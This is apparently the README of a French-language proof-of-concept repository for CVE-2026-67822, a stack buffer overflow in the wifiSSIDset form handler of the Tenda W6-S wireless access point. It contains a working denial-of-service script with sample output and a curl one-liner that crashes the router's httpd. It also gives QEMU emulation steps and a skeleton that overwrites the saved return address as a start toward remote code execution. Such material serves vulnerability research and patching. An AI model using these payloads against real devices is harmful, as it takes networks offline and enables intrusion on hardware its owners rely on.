
PoC pour CVE-2026-67822 débordement de pile dans Tenda W6-S /goform/wifiSSIDset: reproducteur de DoS, shim QEMU MIPS et squelette conceptuel de payload RCE.
wifiSSIDset de la Tenda W6-S (PoC)PoC d'accompagnement pour l'article de Hunt-Benito
« GO sans bornes : CVE-2026-67822 — débordement de pile dans le gestionnaire de formulaire wifiSSIDset de la Tenda W6-S ».
CVE-2026-67822 (CVSS 9.8 Critique, CWE-121) est un débordement de tampon basé sur la pile
dans formwrlSSIDset(), la fonction C derrière l'endpoint /goform/wifiSSIDset du
point d'accès sans fil Tenda W6-S, au sein de /bin/httpd (un serveur web dérivé de GoAhead).
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
Impact confirmé : déni de service (crash de httpd).
Impact potentiel : exécution de code à distance (MIPS, pas de canari de pile / pas d'ASLR sur la build).
| Produit concerné | Point d'accès sans fil Tenda W6-S |
| Micrologiciel concerné | v1.0.0.4(510) |
| CVSS v3.1 | 9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121 (débordement de tampon basé sur la pile) |
| Endpoint vulnérable | POST /goform/wifiSSIDset (paramètres GO, index) |
| Découvreur / crédit | trister |
| Fichier | Description |
|---|---|
poc_dos.py | Reproducteur de DoS confirmé. Envoie un paramètre GO surdimensionné et détecte le crash de httpd qui en résulte. Uniquement la bibliothèque standard — aucune dépendance. |
exploit_conceptual.py | Squelette d'exploitation RCE conceptuel. Illustre la forme du détournement de flux de contrôle (padding jusqu'au $ra sauvegardé, puis écrasement) et inclut un utilitaire à motif cyclique pour déterminer empiriquement le décalage jusqu'au $ra. Ne fournit pas de shellcode fonctionnel ni d'adresses de gadgets. |
fake_apmib.c | Shim LD_PRELOAD qui simule les appels matériels/MIB de Tenda afin que /bin/httpd démarre dans un invité QEMU MIPS — la technique utilisée pour reproduire le bug sans appareil physique. |
Contre un W6-S réel (IP LAN par défaut 192.168.5.10) ou une instance émulée :
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
Équivalent en une ligne :
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
Une fois la requête terminée, l'interface de gestion est morte jusqu'à un redémarrage (power-cycle).
fake_apmib.so)/bin/httpd s'attend à trouver du vrai silicium Tenda (libapmib.so, le démon cfmd, une MAC LAN). Le shim fake_apmib.c simule juste assez de ces éléments pour permettre à httpd de démarrer dans un système de fichiers de firmware émulé. Ce montage reprend la technique du chercheur d'origine.
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd avec le shimguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
L'interface de gestion est désormais accessible à l'adresse http://192.168.5.10 (identifiants par défaut admin / admin), et poc_dos.py fonctionne contre elle exactement comme contre du vrai matériel.
| Appel intercepté | Renvoie | Raison |
|---|---|---|
apmib_init() | 1 | ignore l'initialisation matériel/MIB |
ConnectCfm() | 1 | fait comme si le démon cfmd avait répondu |
GetValue("lan.ip", …) | 192.168.5.10 | IP de gestion statique |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | fausse adresse MAC |
connect() | passthrough | les connexions par socket unix/TCP aboutissent |
Les prototypes exacts des helpers internes
apmib/cfmdde Tenda varient selon les builds du firmware. Vérifiez-les contre le vrailibapmib.sode votre cible (objdump -T libapmib.so/ IDA) et ajustezfake_apmib.cen conséquence.
exploit_conceptual.py documente la forme de l'exploitation au-delà du DoS :
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
Ce squelette redirige uniquement $ra. Transformer le détournement en véritable exécution de code nécessite soit un shellcode sur une pile non-NX, soit une chaîne ROP assemblée à partir de gadgets de l'image firmware spécifique — deux éléments spécifiques à la build et volontairement laissés au chercheur. Le DoS est confirmé ; la RCE est le pire cas plausible que reflète le vecteur CVSS (C:H/I:H).
Ce code est réservé à la recherche en sécurité autorisée uniquement. Exécutez-le uniquement contre des appareils que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test. Ne l'utilisez pas contre des réseaux ou du matériel que vous ne contrôlez pas.